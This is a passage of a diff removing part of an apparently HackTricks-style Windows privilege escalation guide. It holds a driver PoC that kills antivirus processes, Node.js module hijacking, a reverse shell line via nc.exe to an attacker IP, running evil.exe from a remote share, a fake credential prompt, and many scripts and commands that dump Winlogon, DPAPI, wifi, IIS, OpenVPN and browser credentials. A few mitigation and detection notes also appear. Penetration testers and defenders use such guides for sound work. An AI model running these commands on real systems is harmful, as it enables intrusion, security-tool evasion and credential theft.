-- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
-- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
-
-Minimal PoC pattern (user mode):
-```c
-// Example based on a vulnerable antimalware driver
-#define IOCTL_REGISTER_PROCESS  0x80002010
-#define IOCTL_TERMINATE_PROCESS 0x80002048
-
-HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
-DWORD me = GetCurrentProcessId();
-DWORD target = /* PID to kill or open */;
-DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
-DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
-```
-
-Mitigations for developers
-- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
-- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
-- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
-
-Detection ideas for defenders
-- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse.
-- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists.
-
-
-## PATH DLL Hijacking
-
-If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
-
-Check permissions of all folders inside PATH:
-
-```bash
-for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
-```
-
-For more information about how to abuse this check:
-
-
-{{#ref}}
-dll-hijacking/writable-sys-path-dll-hijacking-privesc.md
-{{#endref}}
-
-## Node.js / Electron module resolution hijacking via `C:\node_modules`
-
-This is a **Windows uncontrolled search path** variant that affects **Node.js** and **Electron** applications when they perform a bare import such as `require("foo")` and the expected module is **missing**.
-
-Node resolves packages by walking up the directory tree and checking `node_modules` folders on each parent. On Windows, that walk can reach the drive root, so an application launched from `C:\Users\Administrator\project\app.js` may end up probing:
-
-1. `C:\Users\Administrator\project\node_modules\foo`
-2. `C:\Users\Administrator\node_modules\foo`
-3. `C:\Users\node_modules\foo`
-4. `C:\node_modules\foo`
-
-If a **low-privileged user** can create `C:\node_modules`, they can plant a malicious `foo.js` (or package folder) and wait for a **higher-privileged Node/Electron process** to resolve the missing dependency. The payload executes in the security context of the victim process, so this becomes **LPE** whenever the target runs as an administrator, from an elevated scheduled task/service wrapper, or from an auto-started privileged desktop app.
-
-This is especially common when:
-
-- a dependency is declared in `optionalDependencies`
-- a third-party library wraps `require("foo")` in `try/catch` and continues on failure
-- a package was removed from production builds, omitted during packaging, or failed to install
-- the vulnerable `require()` lives deep inside the dependency tree instead of in the main application code
-
-### Hunting vulnerable targets
-
-Use **Procmon** to prove the resolution path:
-
-- Filter by `Process Name` = target executable (`node.exe`, the Electron app EXE, or the wrapper process)
-- Filter by `Path` `contains` `node_modules`
-- Focus on `NAME NOT FOUND` and the final successful open under `C:\node_modules`
-
-Useful code-review patterns in unpacked `.asar` files or application sources:
-
-```bash
-rg -n 'require\\("[^./]' .
-rg -n "require\\('[^./]" .
-rg -n 'optionalDependencies' .
-rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .
-```
-
-### Exploitation
-
-1. Identify the **missing package name** from Procmon or source review.
-2. Create the root lookup directory if it does not already exist:
-
-```powershell
-mkdir C:\node_modules
-```
-
-3. Drop a module with the exact expected name:
-
-```javascript
-// C:\node_modules\foo.js
-require("child_process").exec("calc.exe")
-module.exports = {}
-```
-
-4. Trigger the victim application. If the application attempts `require("foo")` and the legitimate module is absent, Node may load `C:\node_modules\foo.js`.
-
-Real-world examples of missing optional modules that fit this pattern include `bluebird` and `utf-8-validate`, but the **technique** is the reusable part: find any **missing bare import** that a privileged Windows Node/Electron process will resolve.
-
-### Detection and hardening ideas
-
-- Alert when a user creates `C:\node_modules` or writes new `.js` files/packages there.
-- Hunt for high-integrity processes reading from `C:\node_modules\*`.
-- Package all runtime dependencies in production and audit `optionalDependencies` usage.
-- Review third-party code for silent `try { require("...") } catch {}` patterns.
-- Disable optional probes when the library supports it (for example, some `ws` deployments can avoid the legacy `utf-8-validate` probe with `WS_NO_UTF_8_VALIDATE=1`).
-
-## Network
-
-### Shares
-
-```bash
-net view #Get a list of computers
-net view /all /domain [domainname] #Shares on the domains
-net view \\computer /ALL #List shares of a computer
-net use x: \\computer\share #Mount the share locally
-net share #Check current shares
-```
-
-### hosts file
-
-Check for other known computers hardcoded on the hosts file
-
-```
-type C:\Windows\System32\drivers\etc\hosts
-```
-
-### Network Interfaces & DNS
-
-```
-ipconfig /all
-Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
-Get-DnsClientServerAddress -AddressFamily IPv4 | ft
-```
-
-### Open Ports
-
-Check for **restricted services** from the outside
-
-```bash
-netstat -ano #Opened ports?
-```
-
-### Routing Table
-
-```
-route print
-Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
-```
-
-### ARP Table
-
-```
-arp -A
-Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
-```
-
-### Firewall Rules
-
-[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(list rules, create rules, turn off, turn off...)**
-
-More[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
-
-### Windows Subsystem for Linux (wsl)
-
-```bash
-C:\Windows\System32\bash.exe
-C:\Windows\System32\wsl.exe
-```
-
-Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
-
-If you get root user you can listen on any port (the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall).
-
-```bash
-wsl whoami
-./ubuntun1604.exe config --default-user root
-wsl whoami
-wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
-```
-
-To easily start bash as root, you can try `--default-user root`
-
-You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
-
-## Windows Credentials
-
-### Winlogon Credentials
-
-```bash
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
-
-#Other way
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
-```
-
-### Credentials manager / Windows vault
-
-From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
-
-Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
-
-Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow **communicate with the credential manager and request the credentials for that resource** from the default storage vault.
-
-Use the `cmdkey` to list the stored credentials on the machine.
-
-```bash
-cmdkey /list
-Currently stored credentials:
- Target: Domain:interactive=WORKGROUP\Administrator
- Type: Domain Password
- User: WORKGROUP\Administrator
-```
-
-Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
-
-```bash
-runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
-```
-
-Using `runas` with a provided set of credential.
-
-```bash
-C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
-```
-
-Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
-
-### DPAPI
-
-The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy.
-
-**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets.
-
-Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell).
-
-```bash
-Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
-Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
-```
-
-You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments (`/pvk` or `/rpc`) to decrypt it.
-
-The **credentials files protected by the master password** are usually located in:
-
-```bash
-dir C:\Users\username\AppData\Local\Microsoft\Credentials\
-dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
-Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
-Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
-```
-
-You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\
-You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root).
-
-
-{{#ref}}
-dpapi-extracting-passwords.md
-{{#endref}}
-
-### PowerShell Credentials
-
-**PowerShell credentials** are often used for **scripting** and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using **DPAPI**, which typically means they can only be decrypted by the same user on the same computer they were created on.
-
-To **decrypt** a PS credentials from the file containing it you can do:
-
-```bash
-PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
-PS C:\> $credential.GetNetworkCredential().username
-
-john
-
-PS C:\htb> $credential.GetNetworkCredential().password
-
-JustAPWD!
-```
-
-### Wifi
-
-```bash
-#List saved Wifi using
-netsh wlan show profile
-#To get the clear-text password use
-netsh wlan show profile <SSID> key=clear
-#Oneliner to extract all wifi passwords
-cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
-```
-
-### Saved RDP Connections
-
-You can find them on `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
-and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
-
-### Recently Run Commands
-
-```
-HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
-HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
-```
-
-### **Remote Desktop Credential Manager**
-
-```
-%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
-```
-
-Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\
-You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
-
-### Sticky Notes
-
-People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.
-
-### AppCmd.exe
-
-**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\
-**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\
-If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.
-
-This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
-
-```bash
-function Get-ApplicationHost {
-    $OrigError = $ErrorActionPreference
-    $ErrorActionPreference = "SilentlyContinue"
-
-    # Check if appcmd.exe exists
-    if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
-        # Create data table to house results
-        $DataTable = New-Object System.Data.DataTable
-
-        # Create and name columns in the data table
-        $Null = $DataTable.Columns.Add("user")
-        $Null = $DataTable.Columns.Add("pass")
-        $Null = $DataTable.Columns.Add("type")
-        $Null = $DataTable.Columns.Add("vdir")
-        $Null = $DataTable.Columns.Add("apppool")
-
-        # Get list of application pools
-        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
-
-            # Get application pool name
-            $PoolName = $_
-
-            # Get username
-            $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
-            $PoolUser = Invoke-Expression $PoolUserCmd
-
-            # Get password
-            $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
-            $PoolPassword = Invoke-Expression $PoolPasswordCmd
-
-            # Check if credentials exists
-            if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
-                # Add credentials to database
-                $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
-            }
-        }
-
-        # Get list of virtual directories
-        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
-
-            # Get Virtual Directory Name
-            $VdirName = $_
-
-            # Get username
-            $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
-            $VdirUser = Invoke-Expression $VdirUserCmd
-
-            # Get password
-            $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
-            $VdirPassword = Invoke-Expression $VdirPasswordCmd
-
-            # Check if credentials exists
-            if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
-                # Add credentials to database
-                $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
-            }
-        }
-
-        # Check if any passwords were found
-        if( $DataTable.rows.Count -gt 0 ) {
-            # Display results in list view that can feed into the pipeline
-            $DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
-        }
-        else {
-            # Status user
-            Write-Verbose 'No application pool or virtual directory passwords were found.'
-            $False
-        }
-    }
-    else {
-        Write-Verbose 'Appcmd.exe does not exist in the default location.'
-        $False
-    }
-    $ErrorActionPreference = $OrigError
-}
-```
-
-### SCClient / SCCM
-
-Check if `C:\Windows\CCM\SCClient.exe` exists .\
-Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
-
-```bash
-$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
-if ($result) { $result }
-else { Write "Not Installed." }
-```
-
-## Files and Registry (Credentials)
-
-### Putty Creds
-
-```bash
-reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
-```
-
-### Putty SSH Host Keys
-
-```
-reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
-```
-
-### SSH keys in registry
-
-SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys` so you should check if there is anything interesting in there:
-
-```bash
-reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
-```
-
-If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
-More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
-
-If `ssh-agent` service is not running and you want it to automatically start on boot run:
-
-```bash
-Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
-```
-
-> [!TIP]
-> It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication.
-
-### Unattended files
-
-```
-C:\Windows\sysprep\sysprep.xml
-C:\Windows\sysprep\sysprep.inf
-C:\Windows\sysprep.inf
-C:\Windows\Panther\Unattended.xml
-C:\Windows\Panther\Unattend.xml
-C:\Windows\Panther\Unattend\Unattend.xml
-C:\Windows\Panther\Unattend\Unattended.xml
-C:\Windows\System32\Sysprep\unattend.xml
-C:\Windows\System32\Sysprep\unattended.xml
-C:\unattend.txt
-C:\unattend.inf
-dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
-```
-
-You can also search for these files using **metasploit**: _post/windows/gather/enum_unattend_
-
-Example content:
-
-```xml
-<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
-    <AutoLogon>
-     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
-     <Enabled>true</Enabled>
-     <Username>Administrateur</Username>
-    </AutoLogon>
-
-    <UserAccounts>
-     <LocalAccounts>
-      <LocalAccount wcm:action="add">
-       <Password>*SENSITIVE*DATA*DELETED*</Password>
-       <Group>administrators;users</Group>
-       <Name>Administrateur</Name>
-      </LocalAccount>
-     </LocalAccounts>
-    </UserAccounts>
-```
-
-### SAM & SYSTEM backups
-
-```bash
-# Usually %SYSTEMROOT% = C:\Windows
-%SYSTEMROOT%\repair\SAM
-%SYSTEMROOT%\System32\config\RegBack\SAM
-%SYSTEMROOT%\System32\config\SAM
-%SYSTEMROOT%\repair\system
-%SYSTEMROOT%\System32\config\SYSTEM
-%SYSTEMROOT%\System32\config\RegBack\system
-```
-
-### Cloud Credentials
-
-```bash
-#From user home
-.aws\credentials
-AppData\Roaming\gcloud\credentials.db
-AppData\Roaming\gcloud\legacy_credentials
-AppData\Roaming\gcloud\access_tokens.db
-.azure\accessTokens.json
-.azure\azureProfile.json
-```
-
-### McAfee SiteList.xml
-
-Search for a file called **SiteList.xml**
-
-### Cached GPP Pasword
-
-A feature was previously available that allowed the deployment of custom local administrator accounts on a group of machines via Group Policy Preferences (GPP). However, this method had significant security flaws. Firstly, the Group Policy Objects (GPOs), stored as XML files in SYSVOL, could be accessed by any domain user. Secondly, the passwords within these GPPs, encrypted with AES256 using a publicly documented default key, could be decrypted by any authenticated user. This posed a serious risk, as it could allow users to gain elevated privileges.
-
-To mitigate this risk, a function was developed to scan for locally cached GPP files containing a "cpassword" field that is not empty. Upon finding such a file, the function decrypts the password and returns a custom PowerShell object. This object includes details about the GPP and the file's location, aiding in the identification and remediation of this security vulnerability.
-
-Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files:
-
-- Groups.xml
-- Services.xml
-- Scheduledtasks.xml
-- DataSources.xml
-- Printers.xml
-- Drives.xml
-
-**To decrypt the cPassword:**
-
-```bash
-#To decrypt these passwords you can decrypt it using
-gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
-```
-
-Using crackmapexec to get the passwords:
-
-```bash
-crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
-```
-
-### IIS Web Config
-
-```bash
-Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
-```
-
-```bash
-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
-type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
-C:\inetpub\wwwroot\web.config
-```
-
-```bash
-Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
-Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
-```
-
-Example of web.config with credentials:
-
-```xml
-<authentication mode="Forms">
-    <forms name="login" loginUrl="/admin">
-        <credentials passwordFormat = "Clear">
-            <user name="Administrator" password="SuperAdminPassword" />
-        </credentials>
-    </forms>
-</authentication>
-```
-
-### OpenVPN credentials
-
-```csharp
-Add-Type -AssemblyName System.Security
-$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
-$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
-
-foreach ($item in $items)
-{
-  $encryptedbytes=$item.'auth-data'
-  $entropy=$item.'entropy'
-  $entropy=$entropy[0..(($entropy.Length)-2)]
-
-  $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
-    $encryptedBytes,
-    $entropy,
-    [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
-
-  Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
-}
-```
-
-### Logs
-
-```bash
-# IIS
-C:\inetpub\logs\LogFiles\*
-
-#Apache
-Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
-```
-
-### Ask for credentials
-
-You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
-
-```bash
-$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
-$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
-
-#Get plaintext
-$cred.GetNetworkCredential() | fl
-```
-
-### **Possible filenames containing credentials**
-
-Known files that some time ago contained **passwords** in **clear-text** or **Base64**
-
-```bash
-$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
-vnc.ini, ultravnc.ini, *vnc*
-web.config
-php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
-SiteList.xml #McAfee
-ConsoleHost_history.txt #PS-History
-*.gpg
-*.pgp
-*config*.php
-elasticsearch.y*ml
-kibana.y*ml
-*.p12
-*.der
-*.csr
-*.cer
-known_hosts
-id_rsa
-id_dsa
-*.ovpn
-anaconda-ks.cfg
-hostapd.conf
-rsyncd.conf
-cesi.conf
-supervisord.conf
-tomcat-users.xml
-*.kdbx
-KeePass.config
-Ntds.dit
-SAM
-SYSTEM
-FreeSSHDservice.ini
-access.log
-error.log
-server.xml
-ConsoleHost_history.txt
-setupinfo
-setupinfo.bak
-key3.db         #Firefox
-key4.db         #Firefox
-places.sqlite   #Firefox
-"Login Data"    #Chrome
-Cookies         #Chrome
-Bookmarks       #Chrome
-History         #Chrome
-TypedURLsTime   #IE
-TypedURLs       #IE
-%SYSTEMDRIVE%\pagefile.sys
-%WINDIR%\debug\NetSetup.log
-%WINDIR%\repair\sam
-%WINDIR%\repair\system
-%WINDIR%\repair\software, %WINDIR%\repair\security
-%WINDIR%\iis6.log
-%WINDIR%\system32\config\AppEvent.Evt
-%WINDIR%\system32\config\SecEvent.Evt
-%WINDIR%\system32\config\default.sav
-%WINDIR%\system32\config\security.sav
-%WINDIR%\system32\config\software.sav
-%WINDIR%\system32\config\system.sav
-%WINDIR%\system32\CCM\logs\*.log
-%USERPROFILE%\ntuser.dat
-%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
-```
-
-Search all of the proposed files:
-
-```
-cd C:\
-dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
-```
-
-```
-Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
-```
-
-### Credentials in the RecycleBin
-
-You should also check the Bin to look for credentials inside it
-
-To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
-
-### Inside the registry
-
-**Other possible registry keys with credentials**
-
-```bash
-reg query "HKCU\Software\ORL\WinVNC3\Password"
-reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
-reg query "HKCU\Software\TightVNC\Server"
-reg query "HKCU\Software\OpenSSH\Agent\Key"
-```
-
-[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
-
-### Browsers History
-
-You should check for dbs where passwords from **Chrome or Firefox** are stored.\
-Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there.
-
-Tools to extract passwords from browsers:
-
-- Mimikatz: `dpapi::chrome`
-- [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
-- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
-- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
-
-### **COM DLL Overwriting**
-
-**Component Object Model (COM)** is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs).
-
-COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.**
-
-Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral).
-
-![Browsers History - COM DLL Overwriting: Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value...](<../../images/image (729).png>)
-
-Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user.
-
-To learn how attackers use COM Hijacking as a persistence mechanism check:
-
-
-{{#ref}}
-com-hijacking.md
-{{#endref}}
-
-### **Generic Password search in files and registry**
-
-**Search for file contents**
-
-```bash
-cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
-findstr /si password *.xml *.ini *.txt *.config
-findstr /spin "password" *.*
-```
-
-**Search for a file with a certain filename**
-
-```bash
-dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
-where /R C:\ user.txt
-where /R C:\ *.ini
-```
-
-**Search the registry for key names and passwords**
-
-```bash
-REG QUERY HKLM /F "password" /t REG_SZ /S /K
-REG QUERY HKCU /F "password" /t REG_SZ /S /K
-REG QUERY HKLM /F "password" /t REG_SZ /S /d
-REG QUERY HKCU /F "password" /t REG_SZ /S /d
-```
-
-### Tools that search for passwords
-
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.\
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.\
-[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is another great tool to extract password from a system.
-
-The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) search for **sessions**, **usernames** and **passwords** of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
-
-```bash
-Import-Module path\to\SessionGopher.ps1;
-Invoke-SessionGopher -Thorough
-Invoke-SessionGopher -AllDomain -o
-Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
-```
-
